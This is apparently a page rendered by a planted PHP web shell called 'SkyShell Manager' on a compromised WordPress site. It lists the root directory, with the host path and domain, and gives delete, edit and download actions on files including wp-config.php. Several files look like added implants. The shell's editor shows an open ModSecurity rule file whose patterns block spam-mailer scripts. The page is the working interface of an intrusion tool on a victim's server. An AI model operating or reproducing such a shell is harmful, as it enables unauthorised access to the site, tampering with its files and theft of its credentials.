ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33

Path:root/home/estate38/PPE.dlfoffice.com/

Name	Size	Perm	Actions
📁 wp-includes	-	0755	🗑️ 🏷️
📁 wp-admin	-	0755	🗑️ 🏷️
📁 well-known	-	0755	🗑️ 🏷️
📁 store	-	0755	🗑️ 🏷️
📁 wp-content	-	0755	🗑️ 🏷️
📁 configWVM	-	0755	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 cgi-bin	-	0755	🗑️ 🏷️
📁 404LSO	-	0755	🗑️ 🏷️
📁 .well-known	-	0755	🗑️ 🏷️
📄 wp-signup.php	34.69 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	32.81 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.52 KB	0600	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.98 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.87 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	8.23 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.71 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.96 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.97 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.7 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	0.49 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-active.php	261.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	0.08 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.47 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-new.php	0.13 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 php.ini	0.1 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	20.27 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 .htaccess	1.96 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 xjctwsbd.php	18.64 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: 21_spam_scripts.conf

# Rules to block access to known spam scripts

# Will block if the Host header is in all caps with a lower-case tld,
# if the request URI ends with ".php" (case insensitive), if the user agent
# matches the list of patterns, if the method is POST and if Referer is not set.
# See #3885 for details
SecRule REQUEST_HEADERS:Host "[0-9A-Z\.-]\.[a-z\.]+" \
    "chain,log,deny,status:406,id:13421,t:none,\
    msg:'POST request appears to be to spam mailer'"
SecRule REQUEST_FILENAME "\.php$" "chain,t:lowercase"
SecRule REQUEST_HEADERS:User-Agent "^Mozilla/5.0$" "chain,t:removeWhitespace"
SecRule REQUEST_HEADERS_NAMES "!@contains Referer" "chain"
SecRule REQUEST_METHOD "POST"

# Block for long postdata from sketchy clients 3976 
SecRule ARGS "[0-9a-zA-Z=&%]{80}" \
    "chain,log,deny,status:406 \
    msg:'Unusual POST data',id:13701,t:none"
SecRule REQUEST_FILENAME "\.php$" "chain,t:lowercase"
SecRule REQUEST_HEADERS:Accept "^[*]/[*]$" "chain,t:removeWhitespace"
SecRule REQUEST_HEADERS:User-Agent "^Mozilla/5.0$" "chain,t:none,t:removeWhitespace"
SecRule REQUEST_METHOD "POST"

# Block POSTs to a known spam script payload
SecRule REQUEST_FILENAME "sys\d{5,}\.php$" "chain,log,deny,status:406 \
    msg:'Access to known spam script',id:13703,t:lowercase,t:removeWhitespace"
SecRule REQUEST_METHOD "POST"

# Ticket 7140 <https://trac.imhtech.net/T3/ticket/7140>
<Files "sitedata.php">
    SecRule ARGS_NAMES "@pm text subj data address port login password email name headers to" \
        "log,deny,status:406,msg:'Access to known spam script',id:13704,t:removeWhitespace"
</Files>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v7.4.33

Edit: 21_spam_scripts.conf

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v7.4.33